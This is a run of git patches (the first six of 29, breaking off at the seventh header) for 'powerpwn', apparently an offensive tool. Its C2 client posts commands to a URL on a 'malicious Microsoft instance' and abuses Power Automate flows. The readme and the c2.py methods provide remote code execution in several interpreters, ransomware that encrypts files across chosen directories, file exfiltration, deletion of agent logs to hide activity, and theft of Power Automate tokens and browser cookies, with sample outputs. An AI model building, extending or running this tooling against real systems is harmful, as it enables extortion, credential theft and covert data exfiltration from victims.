From e70eba7e14edfea1c64af3c79d02bd3117875a59 Mon Sep 17 00:00:00 2001 From: mbrg <11074433+mbrg@users.noreply.github.com> Date: Sat, 10 Sep 2022 20:07:57 +0300 Subject: [PATCH 01/29] renaming --- readme.md | 5 +++-- src/powerpwn/__init__.py | 2 +- src/powerpwn/{cli.py => c2.py} | 4 ++-- src/powerpwn/models/{flow_arg.py => flow_arguments.py} | 1 - src/powerpwn/models/{flow_res.py => flow_results.py} | 0 5 files changed, 6 insertions(+), 6 deletions(-) rename src/powerpwn/{cli.py => c2.py} (95%) rename src/powerpwn/models/{flow_arg.py => flow_arguments.py} (97%) rename src/powerpwn/models/{flow_res.py => flow_results.py} (100%) diff --git a/readme.md b/readme.md index 12fab19..b666939 100644 --- a/readme.md +++ b/readme.md @@ -13,9 +13,10 @@ Disclaimer: these materials are presented from an attacker’s perspective with ## Usage ```python -from powerpwn.cli import PowerPwn +from powerpwn.c2 import PowerPwn + POST_URL = "" -pp=PowerPwn(post_url=POST_URL) +pp = PowerPwn(post_url=POST_URL) ### code execution diff --git a/src/powerpwn/__init__.py b/src/powerpwn/__init__.py index dfbb6c6..13d6662 100644 --- a/src/powerpwn/__init__.py +++ b/src/powerpwn/__init__.py @@ -1 +1 @@ -from powerpwn.cli import PowerPwn \ No newline at end of file +from powerpwn.c2 import PowerPwn \ No newline at end of file diff --git a/src/powerpwn/cli.py b/src/powerpwn/c2.py similarity index 95% rename from src/powerpwn/cli.py rename to src/powerpwn/c2.py index 80322ff..7e6022f 100644 --- a/src/powerpwn/cli.py +++ b/src/powerpwn/c2.py @@ -3,8 +3,8 @@ import requests import json from pydantic.error_wrappers import ValidationError -from powerpwn.models.flow_arg import * -from powerpwn.models.flow_res import FlowResults +from powerpwn.models.flow_arguments import FlowToRunEnum, CommandTypeEnum, FlowArguments +from powerpwn.models.flow_results import FlowResults class PowerPwn: diff --git a/src/powerpwn/models/flow_arg.py b/src/powerpwn/models/flow_arguments.py similarity index 97% rename from src/powerpwn/models/flow_arg.py rename to src/powerpwn/models/flow_arguments.py index 2a31538..cf17241 100644 --- a/src/powerpwn/models/flow_arg.py +++ b/src/powerpwn/models/flow_arguments.py @@ -1,6 +1,5 @@ from pydantic import BaseModel, Field from enum import Enum -from typing import Optional class FlowToRunEnum(Enum): diff --git a/src/powerpwn/models/flow_res.py b/src/powerpwn/models/flow_results.py similarity index 100% rename from src/powerpwn/models/flow_res.py rename to src/powerpwn/models/flow_results.py From 30bb5471cabb2effde44ebce675ce9aa55b2cff8 Mon Sep 17 00:00:00 2001 From: mbrg <11074433+mbrg@users.noreply.github.com> Date: Sat, 10 Sep 2022 20:38:49 +0300 Subject: [PATCH 02/29] docs and naming --- readme.md | 24 ++--- schema/desktop_flows.json | 55 ------------ schema/endpoint_flow_input.json | 16 ++-- schema/endpoint_flow_output.json | 54 +++++------ src/powerpwn/__init__.py | 2 +- src/powerpwn/c2.py | 124 +++++++++++++++++++------- src/powerpwn/models/flow_arguments.py | 27 +++--- src/powerpwn/models/flow_results.py | 55 ++++++------ 8 files changed, 184 insertions(+), 173 deletions(-) delete mode 100644 schema/desktop_flows.json diff --git a/readme.md b/readme.md index b666939..e9470eb 100644 --- a/readme.md +++ b/readme.md @@ -13,52 +13,52 @@ Disclaimer: these materials are presented from an attacker’s perspective with ## Usage ```python -from powerpwn.c2 import PowerPwn +from powerpwn.c2 import PowerPwnC2 POST_URL = "" -pp = PowerPwn(post_url=POST_URL) +pp = PowerPwnC2(post_url=POST_URL) ### code execution # python2 -pp.exec_py2("print('hello world')").CodeExec +pp.exec_py2("print('hello world')").cmd_code_execution # CodeExecOutputs(ScriptOutput='\ufeffhello world\r\n', ScriptError='') # python2 bad syntax -pp.exec_py2("bad syntax").CodeExec +pp.exec_py2("bad syntax").cmd_code_execution # CodeExecOutputs(ScriptOutput='', ScriptError=' File "", line 1\r\n bad syntax\r\n ^\r\nSyntaxError: unexpected token \'syntax\'') # powershell -pp.exec_ps("Write-Host \"hello word\"").CodeExec +pp.exec_ps("Write-Host \"hello word\"").cmd_code_execution # commandline -pp.exec_cmd("echo \"hello word\"").CodeExec +pp.exec_cmd("echo \"hello word\"").cmd_code_execution # CodeExecOutputs(ScriptOutput='Microsoft Windows [Version 10.0.22000.795]\r\n(c) Microsoft Corporation. All rights reserved.\r\n\r\nC:\\Program Files (x86)\\Power Automate Desktop>echo "hello word"\r\n"hello word"\r\n\r\n', ScriptError='') ### ransomware -pp.ransomware(crawl_depth=2, dirs_to_init_crawl=["C:\\Users\\alexg\\Documents\\mystuff", "D:\\shh"], encryption_key="8d1d4245").Ransomware +pp.ransomware(crawl_depth=2, dirs_to_init_crawl=["C:\\Users\\alexg\\Documents\\mystuff", "D:\\shh"], encryption_key="8d1d4245").cmd_ransomware # Ransomware=RansomwareOutputs(FilesFound=9, FilesAccessed=9, FilesProcessed=9, Errors='') ### exfiltration -pp.exfil(target="C:\\Users\\alexg\\Downloads\\takeit.txt").Exfil +pp.exfil(target="C:\\Users\\alexg\\Downloads\\takeit.txt").cmd_exfiltration # ExfiltrationOutputs(Success=True, FileContents='asd') -pp.exfil(target="C:\\Users\\alexg\\Downloads\\dontexist.txt").Exfil +pp.exfil(target="C:\\Users\\alexg\\Downloads\\dontexist.txt").cmd_exfiltration # ExfiltrationOutputs(Success=False, FileContents='') ### cleanup -pp.cleanup().Cleanup +pp.cleanup().cmd_cleanup # CleanupOutputs(FilesFound=179, LogFilesDeleted=178) ### steal_power_automate_token -pp.steal_power_automate_token().StealPowerAutomateToken +pp.steal_power_automate_token().cmd_steal_power_automate_token # StealPowerAutomateTokenOutputs(Token='ey...') ### steal_cookie -pp.steal_cookie("https://www.google.com").StealCookie +pp.steal_cookie("https://www.google.com").cmd_steal_cookie # StealCookieOutputs(Cookie='1P_JAR=2022-07-16-13; OGPC=19027681-1:') ``` diff --git a/schema/desktop_flows.json b/schema/desktop_flows.json deleted file mode 100644 index 4beb933..0000000 --- a/schema/desktop_flows.json +++ /dev/null @@ -1,55 +0,0 @@ -{ - "Exfil": { - "input": { - "TargetFile": {"type": "string"} - }, - "output": { - "Success": {"type": "boolean"}, - "FileContents": {"type": "string"} - } - }, - "Ransomware": { - "input": { - "CrawlDepth": {"type": "string", "example": "2"}, - "DirectoriesToInitCrawl": {"type": "string", "example": "C:\\,D:\\"}, - "EncryptionKey": {"type": "string"} - }, - "output": { - "FilesFound": {"type": "integer"}, - "FilesAccessed": {"type": "integer"}, - "FilesProcessed": {"type": "integer"}, - "Errors": {"type": "string"} - } - }, - "CodeExec": { - "input": { - "Command": {"type": "string"}, - "CommandType": {"type": "string"} - }, - "output": { - "ScriptOutput": {"type": "string"}, - "ScriptError": {"type": "string"} - } - }, - "Cleanup": { - "input": {}, - "output": { - "LogFilesFound": {"type": "integer"}, - "LogFilesDeleted": {"type": "integer"} - } - }, - "StealCookie": { - "input": { - "FQDN": {"type": "string"} - }, - "output": { - "Cookie": {"type": "string"} - } - }, - "StealPowerAutomateToken": { - "input": {}, - "output": { - "Token": {"type": "string"} - } - } -} \ No newline at end of file diff --git a/schema/endpoint_flow_input.json b/schema/endpoint_flow_input.json index 2554f8d..b4db739 100644 --- a/schema/endpoint_flow_input.json +++ b/schema/endpoint_flow_input.json @@ -1,28 +1,28 @@ { "type": "object", "properties": { - "FlowToRun": { + "command_to_run": { "type": "string" }, - "ExfilTargetFile": { + "exfiltrate_target_file": { "type": "string" }, - "RansomwareCrawlDepth": { + "ransomware_crawl_depth": { "type": "string" }, - "RansomwareDirectoriesToInitCrawl": { + "ransomware_directories_to_init_crawl": { "type": "string" }, - "RansomwareEncryptionKey": { + "ransomware_encryption_key": { "type": "string" }, - "CodeExecCommand": { + "code_exec_command_type": { "type": "string" }, - "CodeExecCommandType": { + "code_exec_command": { "type": "string" }, - "StealCookieFQDN": { + "steal_cookie_fqdn": { "type": "string" } } diff --git a/schema/endpoint_flow_output.json b/schema/endpoint_flow_output.json index a43da12..6ff54b9 100644 --- a/schema/endpoint_flow_output.json +++ b/schema/endpoint_flow_output.json @@ -1,69 +1,69 @@ { "type": "object", "properties": { - "FlowSuccess": { + "is_success": { "type": "boolean" }, - "FlowType": { + "agent_run_type": { "type": "string" }, - "FlowErrors": { + "agent_run_errors": { "type": "object", "properties": { - "AttendedRunError": { + "attended_run_error": { "type": "object", "properties": {} }, - "UnattendedRunError": { + "unattended_run_error": { "type": "object", "properties": {} } } }, - "CodeExec": { + "cmd_exfiltration": { "type": "object", "properties": { - "ScriptOutput": { - "type": "string" - }, - "ScriptError": { - "type": "string" - } + "Success": {"type": "boolean"}, + "FileContents": {"type": "string"} } }, - "Exfil": { + "cmd_code_execution": { "type": "object", "properties": { - "Success": {"type": "boolean"}, - "FileContents": {"type": "string"} + "script_output": { + "type": "string" + }, + "script_error": { + "type": "string" + } } }, - "Ransomware": { + "cmd_ransomware": { "type": "object", "properties": { - "FilesFound": {"type": "integer"}, - "FilesAccessed": {"type": "integer"}, - "FilesProcessed": {"type": "integer"}, - "Errors": {"type": "string"} + "files_found": {"type": "integer"}, + "files_accessed": {"type": "integer"}, + "files_processed": {"type": "integer"}, + "errors": {"type": "string"} } }, - "Cleanup": { + "cmd_cleanup": { "type": "object", "properties": { - "LogFilesFound": {"type": "integer"}, - "LogFilesDeleted": {"type": "integer"} + "log_files_found": {"type": "integer"}, + "log_files_deleted": {"type": "integer"} } }, - "StealCookie": { + "cmd_steal_cookie": { "type": "object", "properties": { - "Cookie": {"type": "string"} + "cookies": {"type": "string"} } }, - "StealPowerAutomateToken": { + "cmd_steal_power_automate_token": { "type": "object", "properties": { - "Token": {"type": "string"} + "token": {"type": "string"} } } } diff --git a/src/powerpwn/__init__.py b/src/powerpwn/__init__.py index 13d6662..d3bef61 100644 --- a/src/powerpwn/__init__.py +++ b/src/powerpwn/__init__.py @@ -1 +1 @@ -from powerpwn.c2 import PowerPwn \ No newline at end of file +from powerpwn.c2 import PowerPwnC2 \ No newline at end of file diff --git a/src/powerpwn/c2.py b/src/powerpwn/c2.py index 7e6022f..2b2bd95 100644 --- a/src/powerpwn/c2.py +++ b/src/powerpwn/c2.py @@ -1,77 +1,139 @@ +import json from typing import List import requests -import json from pydantic.error_wrappers import ValidationError -from powerpwn.models.flow_arguments import FlowToRunEnum, CommandTypeEnum, FlowArguments -from powerpwn.models.flow_results import FlowResults + +from powerpwn.models.flow_arguments import CodeExecTypeEnum, CommandArguments, CommandToRunEnum +from powerpwn.models.flow_results import CommandResults -class PowerPwn: +class PowerPwnC2: def __init__(self, post_url: str, debug: bool = False): self.post_url = post_url self.debug = debug - def run_flow(self, arguments: FlowArguments) -> FlowResults: + def run_flow(self, arguments: CommandArguments) -> CommandResults: try: flow_args = json.loads(arguments.json()) except json.JSONDecodeError: print(f"Bad command. Raw content: {arguments}") raise - resp = requests.post( - url=self.post_url, - json=flow_args - ) + resp = requests.post(url=self.post_url, json=flow_args) if self.debug: print(f"Raw content: {resp.content}") try: - flow_res = FlowResults.parse_obj(resp.json()) + flow_res = CommandResults.parse_obj(resp.json()) return flow_res except ValidationError: print(f"Bad response. Raw content: {resp.content}") raise - def exec_py2(self, command: str) -> FlowResults: - flow_args = FlowArguments(FlowToRun=FlowToRunEnum.CODE_EXEC, CodeExecCommandType=CommandTypeEnum.PYTHON, CodeExecCommand=command) + def exec_py2(self, command: str) -> CommandResults: + """ + Execute command in a Python2 interpreter + :param command: a Python2 script encoded as a string + :return: command results + """ + flow_args = CommandArguments( + command_to_run=CommandToRunEnum.CODE_EXEC, code_exec_command_type=CodeExecTypeEnum.PYTHON, code_exec_command=command + ) return self.run_flow(flow_args) - def exec_vb(self, command: str) -> FlowResults: - flow_args = FlowArguments(FlowToRun=FlowToRunEnum.CODE_EXEC, CodeExecCommandType=CommandTypeEnum.VISUALBASIC, CodeExecCommand=command) + def exec_vb(self, command: str) -> CommandResults: + """ + Execute command in a Visual Basic interpreter + :param command: a Visual Basic script encoded as a string + :return: command results + """ + flow_args = CommandArguments( + command_to_run=CommandToRunEnum.CODE_EXEC, code_exec_command_type=CodeExecTypeEnum.VISUALBASIC, code_exec_command=command + ) return self.run_flow(flow_args) - def exec_js(self, command: str) -> FlowResults: - flow_args = FlowArguments(FlowToRun=FlowToRunEnum.CODE_EXEC, CodeExecCommandType=CommandTypeEnum.JAVASCRIPT, CodeExecCommand=command) + def exec_js(self, command: str) -> CommandResults: + """ + Execute command in a JavaScript interpreter + :param command: a JavaScript script encoded as a string + :return: command results + """ + flow_args = CommandArguments( + command_to_run=CommandToRunEnum.CODE_EXEC, code_exec_command_type=CodeExecTypeEnum.JAVASCRIPT, code_exec_command=command + ) return self.run_flow(flow_args) - def exec_ps(self, command: str) -> FlowResults: - flow_args = FlowArguments(FlowToRun=FlowToRunEnum.CODE_EXEC, CodeExecCommandType=CommandTypeEnum.POWERSHELL, CodeExecCommand=command) + def exec_ps(self, command: str) -> CommandResults: + """ + Execute command in a PowerShell interpreter + :param command: a PowerShell script encoded as a string + :return: command results + """ + flow_args = CommandArguments( + command_to_run=CommandToRunEnum.CODE_EXEC, code_exec_command_type=CodeExecTypeEnum.POWERSHELL, code_exec_command=command + ) return self.run_flow(flow_args) - def exec_cmd(self, command: str) -> FlowResults: - flow_args = FlowArguments(FlowToRun=FlowToRunEnum.CODE_EXEC, CodeExecCommandType=CommandTypeEnum.COMMANDLINE, CodeExecCommand=command) + def exec_cmd(self, command: str) -> CommandResults: + """ + Execute command in a CommandLine + :param command: a CommandLine script encoded as a string + :return: command results + """ + flow_args = CommandArguments( + command_to_run=CommandToRunEnum.CODE_EXEC, code_exec_command_type=CodeExecTypeEnum.COMMANDLINE, code_exec_command=command + ) return self.run_flow(flow_args) - def ransomware(self, crawl_depth: str, dirs_to_init_crawl: List[str], encryption_key: str) -> FlowResults: + def ransomware(self, crawl_depth: str, dirs_to_init_crawl: List[str], encryption_key: str) -> CommandResults: + """ + Overwrite all files in dirs_to_init_crawl with an encrypted version + :param crawl_depth: recursively search into subdirectories this many times + :param dirs_to_init_crawl: a list of directories to begin crawl from separated by a command (e.g.'C:\\,D:\\') + :param encryption_key: an encryption key used to encrypt each file identified (AES256) + :return: command results + """ dirs_to_init_crawl_str = ",".join(dirs_to_init_crawl) - flow_args = FlowArguments(FlowToRun=FlowToRunEnum.RANSOMWARE, - RansomwareCrawlDepth=crawl_depth, RansomwareDirectoriesToInitCrawl=dirs_to_init_crawl_str, RansomwareEncryptionKey=encryption_key) + flow_args = CommandArguments( + command_to_run=CommandToRunEnum.RANSOMWARE, + ransomware_crawl_depth=crawl_depth, + ransomware_directories_to_init_crawl=dirs_to_init_crawl_str, + ransomware_encryption_key=encryption_key, + ) return self.run_flow(flow_args) - def exfil(self, target: str) -> FlowResults: - flow_args = FlowArguments(FlowToRun=FlowToRunEnum.EXFILTRATION, ExfilTargetFile=target) + def exfiltrate(self, target_file_path: str) -> CommandResults: + """ + Exfiltrate file from victim machine + :param target_file_path: absolute path to file + :return: command results + """ + flow_args = CommandArguments(command_to_run=CommandToRunEnum.EXFILTRATION, exfiltrate_target_file=target_file_path) return self.run_flow(flow_args) - def cleanup(self) -> FlowResults: - flow_args = FlowArguments(FlowToRun=FlowToRunEnum.CLEANUP) + def cleanup(self) -> CommandResults: + """ + Delete agent log files + :return: command results + """ + flow_args = CommandArguments(command_to_run=CommandToRunEnum.CLEANUP) return self.run_flow(flow_args) - def steal_power_automate_token(self) -> FlowResults: - flow_args = FlowArguments(FlowToRun=FlowToRunEnum.STEAL_POWER_AUTOMATE_TOKEN) + def steal_power_automate_token(self) -> CommandResults: + """ + Open a browser, go to the Power Automate website and steal the authentication token + :return: command results + """ + flow_args = CommandArguments(command_to_run=CommandToRunEnum.STEAL_POWER_AUTOMATE_TOKEN) return self.run_flow(flow_args) - def steal_cookie(self, fqdn: str) -> FlowResults: - flow_args = FlowArguments(FlowToRun=FlowToRunEnum.STEAL_COOKIE, StealCookieFQDN=fqdn) + def steal_cookie(self, fqdn: str) -> CommandResults: + """ + Open a browser, go to the FQDN and seal its cookies + :param fqdn: fully qualified domain name to fetch the cookies of + :return: command results + """ + flow_args = CommandArguments(command_to_run=CommandToRunEnum.STEAL_COOKIE, steal_cookie_fqdn=fqdn) return self.run_flow(flow_args) diff --git a/src/powerpwn/models/flow_arguments.py b/src/powerpwn/models/flow_arguments.py index cf17241..6ddc3d4 100644 --- a/src/powerpwn/models/flow_arguments.py +++ b/src/powerpwn/models/flow_arguments.py @@ -1,8 +1,9 @@ -from pydantic import BaseModel, Field from enum import Enum +from pydantic import BaseModel, Field + -class FlowToRunEnum(Enum): +class CommandToRunEnum(Enum): EXFILTRATION = "Exfil" RANSOMWARE = "Ransomware" CODE_EXEC = "CodeExec" @@ -11,7 +12,7 @@ class FlowToRunEnum(Enum): STEAL_COOKIE = "StealCookie" -class CommandTypeEnum(Enum): +class CodeExecTypeEnum(Enum): PYTHON = "python" VISUALBASIC = "visualbasic" JAVASCRIPT = "javascript" @@ -20,12 +21,14 @@ class CommandTypeEnum(Enum): EMPTY = "" -class FlowArguments(BaseModel): - FlowToRun: FlowToRunEnum - ExfilTargetFile: str = Field(default="", help="Absolute path to file") - RansomwareCrawlDepth: str = Field(default="", help="Number of recursive entries to sub-directories") - RansomwareDirectoriesToInitCrawl: str = Field(default="", help="List of directories to crawl separated by a command. For example: 'C:\\,D:\\'") - RansomwareEncryptionKey: str = Field(default="", help="AES256 encryption key") - CodeExecCommandType: CommandTypeEnum = Field(default="", help="AES256 encryption key") - CodeExecCommand: str = Field(default="", help="Command to execute") - StealCookieFQDN: str = Field(default="", help="FQDN to fetch cookie of") +class CommandArguments(BaseModel): + command_to_run: CommandToRunEnum + exfiltrate_target_file: str = Field(default="", help="Absolute path to file") + ransomware_crawl_depth: str = Field(default="", help="Recursively search into subdirectories this many times") + ransomware_directories_to_init_crawl: str = Field( + default="", help="A list of directories to begin crawl from separated by a command (e.g.'C:\\,D:\\')" + ) + ransomware_encryption_key: str = Field(default="", help="an encryption key used to encrypt each file identified (AES256)") + code_exec_command_type: CodeExecTypeEnum = Field(default="", help="Execution environment") + code_exec_command: str = Field(default="", help="A command to execute encoded as a string") + steal_cookie_fqdn: str = Field(default="", help="fully qualified domain name to fetch the cookies of") diff --git a/src/powerpwn/models/flow_results.py b/src/powerpwn/models/flow_results.py index 399feb4..9850553 100644 --- a/src/powerpwn/models/flow_results.py +++ b/src/powerpwn/models/flow_results.py @@ -1,56 +1,57 @@ -from pydantic import BaseModel, Field from enum import Enum from typing import Optional +from pydantic import BaseModel, Field + class ExfiltrationOutputs(BaseModel): - Success: bool = Field(default=False) - FileContents: str = Field(default="") + success: bool = Field(default=False) + file_contents: str = Field(default="") class RansomwareOutputs(BaseModel): - FilesFound: int = Field(default=0) - FilesAccessed: int = Field(default=0) - FilesProcessed: int = Field(default=0) - Errors: str = Field(default="") + files_found: int = Field(default=0) + files_accessed: int = Field(default=0) + files_processed: int = Field(default=0) + errors: str = Field(default="") class CodeExecOutputs(BaseModel): - ScriptOutput: str = Field(default="") - ScriptError: str = Field(default="") + script_output: str = Field(default="") + script_error: str = Field(default="") class CleanupOutputs(BaseModel): - LogFilesFound: int = Field(default=0) - LogFilesDeleted: int = Field(default=0) + log_files_found: int = Field(default=0) + log_files_deleted: int = Field(default=0) class StealCookieOutputs(BaseModel): - Cookie: str = Field(default="") + cookies: str = Field(default="") class StealPowerAutomateTokenOutputs(BaseModel): - Token: str = Field(default="") + token: str = Field(default="") -class RunType(Enum): +class AgentRunType(Enum): attended = "attended" unattended = "unattended" empty = "" -class RunErrors(BaseModel): - AttendedRunError: dict - UnattendedRunError: dict +class AgentRunErrors(BaseModel): + attended_run_error: dict + unattended_run_error: dict -class FlowResults(BaseModel): - FlowSuccess: bool - FlowType: RunType - FlowErrors: RunErrors - Cleanup: Optional[CleanupOutputs] - Exfil: Optional[ExfiltrationOutputs] - CodeExec: Optional[CodeExecOutputs] - Ransomware: Optional[RansomwareOutputs] - StealCookie: Optional[StealCookieOutputs] - StealPowerAutomateToken: Optional[StealPowerAutomateTokenOutputs] +class CommandResults(BaseModel): + is_success: bool + agent_run_type: AgentRunType + agent_run_errors: AgentRunErrors + cmd_exfiltration: Optional[ExfiltrationOutputs] + cmd_code_execution: Optional[CodeExecOutputs] + cmd_ransomware: Optional[RansomwareOutputs] + cmd_cleanup: Optional[CleanupOutputs] + cmd_steal_cookie: Optional[StealCookieOutputs] + cmd_steal_power_automate_token: Optional[StealPowerAutomateTokenOutputs] From 37b55a64722deb52a7f77526eac82f639ad63b69 Mon Sep 17 00:00:00 2001 From: mbrg <11074433+mbrg@users.noreply.github.com> Date: Sat, 10 Sep 2022 20:39:26 +0300 Subject: [PATCH 03/29] simplify naming --- src/powerpwn/c2.py | 4 ++-- src/powerpwn/models/{flow_arguments.py => cmd_arguments.py} | 0 src/powerpwn/models/{flow_results.py => cmd_results.py} | 0 3 files changed, 2 insertions(+), 2 deletions(-) rename src/powerpwn/models/{flow_arguments.py => cmd_arguments.py} (100%) rename src/powerpwn/models/{flow_results.py => cmd_results.py} (100%) diff --git a/src/powerpwn/c2.py b/src/powerpwn/c2.py index 2b2bd95..66b79c5 100644 --- a/src/powerpwn/c2.py +++ b/src/powerpwn/c2.py @@ -4,8 +4,8 @@ import requests from pydantic.error_wrappers import ValidationError -from powerpwn.models.flow_arguments import CodeExecTypeEnum, CommandArguments, CommandToRunEnum -from powerpwn.models.flow_results import CommandResults +from powerpwn.models.cmd_arguments import CodeExecTypeEnum, CommandArguments, CommandToRunEnum +from powerpwn.models.cmd_results import CommandResults class PowerPwnC2: diff --git a/src/powerpwn/models/flow_arguments.py b/src/powerpwn/models/cmd_arguments.py similarity index 100% rename from src/powerpwn/models/flow_arguments.py rename to src/powerpwn/models/cmd_arguments.py diff --git a/src/powerpwn/models/flow_results.py b/src/powerpwn/models/cmd_results.py similarity index 100% rename from src/powerpwn/models/flow_results.py rename to src/powerpwn/models/cmd_results.py From ba37b9c2476f9a1336521b4deee1c7dc75a2d8e0 Mon Sep 17 00:00:00 2001 From: mbrg <11074433+mbrg@users.noreply.github.com> Date: Sat, 10 Sep 2022 20:45:01 +0300 Subject: [PATCH 04/29] snakecase enums --- src/powerpwn/c2.py | 22 +++++++++++----------- src/powerpwn/models/cmd_arguments.py | 24 ++++++++++++------------ src/powerpwn/models/cmd_results.py | 6 +++--- 3 files changed, 26 insertions(+), 26 deletions(-) diff --git a/src/powerpwn/c2.py b/src/powerpwn/c2.py index 66b79c5..9d027d5 100644 --- a/src/powerpwn/c2.py +++ b/src/powerpwn/c2.py @@ -13,7 +13,7 @@ def __init__(self, post_url: str, debug: bool = False): self.post_url = post_url self.debug = debug - def run_flow(self, arguments: CommandArguments) -> CommandResults: + def run_cmd(self, arguments: CommandArguments) -> CommandResults: try: flow_args = json.loads(arguments.json()) except json.JSONDecodeError: @@ -41,7 +41,7 @@ def exec_py2(self, command: str) -> CommandResults: flow_args = CommandArguments( command_to_run=CommandToRunEnum.CODE_EXEC, code_exec_command_type=CodeExecTypeEnum.PYTHON, code_exec_command=command ) - return self.run_flow(flow_args) + return self.run_cmd(flow_args) def exec_vb(self, command: str) -> CommandResults: """ @@ -52,7 +52,7 @@ def exec_vb(self, command: str) -> CommandResults: flow_args = CommandArguments( command_to_run=CommandToRunEnum.CODE_EXEC, code_exec_command_type=CodeExecTypeEnum.VISUALBASIC, code_exec_command=command ) - return self.run_flow(flow_args) + return self.run_cmd(flow_args) def exec_js(self, command: str) -> CommandResults: """ @@ -63,7 +63,7 @@ def exec_js(self, command: str) -> CommandResults: flow_args = CommandArguments( command_to_run=CommandToRunEnum.CODE_EXEC, code_exec_command_type=CodeExecTypeEnum.JAVASCRIPT, code_exec_command=command ) - return self.run_flow(flow_args) + return self.run_cmd(flow_args) def exec_ps(self, command: str) -> CommandResults: """ @@ -74,7 +74,7 @@ def exec_ps(self, command: str) -> CommandResults: flow_args = CommandArguments( command_to_run=CommandToRunEnum.CODE_EXEC, code_exec_command_type=CodeExecTypeEnum.POWERSHELL, code_exec_command=command ) - return self.run_flow(flow_args) + return self.run_cmd(flow_args) def exec_cmd(self, command: str) -> CommandResults: """ @@ -85,7 +85,7 @@ def exec_cmd(self, command: str) -> CommandResults: flow_args = CommandArguments( command_to_run=CommandToRunEnum.CODE_EXEC, code_exec_command_type=CodeExecTypeEnum.COMMANDLINE, code_exec_command=command ) - return self.run_flow(flow_args) + return self.run_cmd(flow_args) def ransomware(self, crawl_depth: str, dirs_to_init_crawl: List[str], encryption_key: str) -> CommandResults: """ @@ -102,7 +102,7 @@ def ransomware(self, crawl_depth: str, dirs_to_init_crawl: List[str], encryption ransomware_directories_to_init_crawl=dirs_to_init_crawl_str, ransomware_encryption_key=encryption_key, ) - return self.run_flow(flow_args) + return self.run_cmd(flow_args) def exfiltrate(self, target_file_path: str) -> CommandResults: """ @@ -111,7 +111,7 @@ def exfiltrate(self, target_file_path: str) -> CommandResults: :return: command results """ flow_args = CommandArguments(command_to_run=CommandToRunEnum.EXFILTRATION, exfiltrate_target_file=target_file_path) - return self.run_flow(flow_args) + return self.run_cmd(flow_args) def cleanup(self) -> CommandResults: """ @@ -119,7 +119,7 @@ def cleanup(self) -> CommandResults: :return: command results """ flow_args = CommandArguments(command_to_run=CommandToRunEnum.CLEANUP) - return self.run_flow(flow_args) + return self.run_cmd(flow_args) def steal_power_automate_token(self) -> CommandResults: """ @@ -127,7 +127,7 @@ def steal_power_automate_token(self) -> CommandResults: :return: command results """ flow_args = CommandArguments(command_to_run=CommandToRunEnum.STEAL_POWER_AUTOMATE_TOKEN) - return self.run_flow(flow_args) + return self.run_cmd(flow_args) def steal_cookie(self, fqdn: str) -> CommandResults: """ @@ -136,4 +136,4 @@ def steal_cookie(self, fqdn: str) -> CommandResults: :return: command results """ flow_args = CommandArguments(command_to_run=CommandToRunEnum.STEAL_COOKIE, steal_cookie_fqdn=fqdn) - return self.run_flow(flow_args) + return self.run_cmd(flow_args) diff --git a/src/powerpwn/models/cmd_arguments.py b/src/powerpwn/models/cmd_arguments.py index 6ddc3d4..54475cc 100644 --- a/src/powerpwn/models/cmd_arguments.py +++ b/src/powerpwn/models/cmd_arguments.py @@ -1,23 +1,23 @@ -from enum import Enum +from enum import Enum, auto from pydantic import BaseModel, Field class CommandToRunEnum(Enum): - EXFILTRATION = "Exfil" - RANSOMWARE = "Ransomware" - CODE_EXEC = "CodeExec" - CLEANUP = "Cleanup" - STEAL_POWER_AUTOMATE_TOKEN = "StealPowerAutomateToken" - STEAL_COOKIE = "StealCookie" + EXFILTRATION = auto() + RANSOMWARE = auto() + CODE_EXEC = auto() + CLEANUP = auto() + STEAL_POWER_AUTOMATE_TOKEN = auto() + STEAL_COOKIE = auto() class CodeExecTypeEnum(Enum): - PYTHON = "python" - VISUALBASIC = "visualbasic" - JAVASCRIPT = "javascript" - POWERSHELL = "powershell" - COMMANDLINE = "commandline" + PYTHON = auto() + VISUALBASIC = auto() + JAVASCRIPT = auto() + POWERSHELL = auto() + COMMANDLINE = auto() EMPTY = "" diff --git a/src/powerpwn/models/cmd_results.py b/src/powerpwn/models/cmd_results.py index 9850553..335aa79 100644 --- a/src/powerpwn/models/cmd_results.py +++ b/src/powerpwn/models/cmd_results.py @@ -1,4 +1,4 @@ -from enum import Enum +from enum import Enum, auto from typing import Optional from pydantic import BaseModel, Field @@ -35,8 +35,8 @@ class StealPowerAutomateTokenOutputs(BaseModel): class AgentRunType(Enum): - attended = "attended" - unattended = "unattended" + attended = auto() + unattended = auto() empty = "" From c6c643e7323e21cef78ad044e0bf2b994e1eabf1 Mon Sep 17 00:00:00 2001 From: mbrg <11074433+mbrg@users.noreply.github.com> Date: Sat, 10 Sep 2022 20:47:49 +0300 Subject: [PATCH 05/29] docs --- src/powerpwn/c2.py | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/src/powerpwn/c2.py b/src/powerpwn/c2.py index 9d027d5..5ed0ea8 100644 --- a/src/powerpwn/c2.py +++ b/src/powerpwn/c2.py @@ -10,6 +10,11 @@ class PowerPwnC2: def __init__(self, post_url: str, debug: bool = False): + """ + Power Pwn client to run commands through Microsoft infrastructure + :param post_url: a URL on the malicious Microsoft instance to post commands to + :param debug: whether to print debug messages + """ self.post_url = post_url self.debug = debug From 539c7de9709360cbc5508077894ac0e68ac9fb68 Mon Sep 17 00:00:00 2001 From: mbrg <11074433+mbrg@users.noreply.github.com> Date: Sat, 10 Sep 2022 20:53:00 +0300 Subject: [PATCH 06/29] intro _run_cmd --- src/powerpwn/c2.py | 16 ++++++++++++---- 1 file changed, 12 insertions(+), 4 deletions(-) diff --git a/src/powerpwn/c2.py b/src/powerpwn/c2.py index 5ed0ea8..f742591 100644 --- a/src/powerpwn/c2.py +++ b/src/powerpwn/c2.py @@ -19,20 +19,28 @@ def __init__(self, post_url: str, debug: bool = False): self.debug = debug def run_cmd(self, arguments: CommandArguments) -> CommandResults: + if self.debug: + print(f"Raw command: {arguments}") + try: - flow_args = json.loads(arguments.json()) + cmd_args = json.loads(arguments.json()) except json.JSONDecodeError: print(f"Bad command. Raw content: {arguments}") raise - resp = requests.post(url=self.post_url, json=flow_args) + results = self._run_cmd(arguments_as_dict=cmd_args) + + cmd_res = CommandResults.parse_obj(results) + return cmd_res + + def _run_cmd(self, arguments_as_dict: dict) -> dict: + resp = requests.post(url=self.post_url, json=arguments_as_dict) if self.debug: print(f"Raw content: {resp.content}") try: - flow_res = CommandResults.parse_obj(resp.json()) - return flow_res + return resp.json() except ValidationError: print(f"Bad response. Raw content: {resp.content}") raise From 2137de8b5348b43ac0c84c0db01a052f6838d3ee Mon Sep 17 00:00:00 2001 From: mbrg 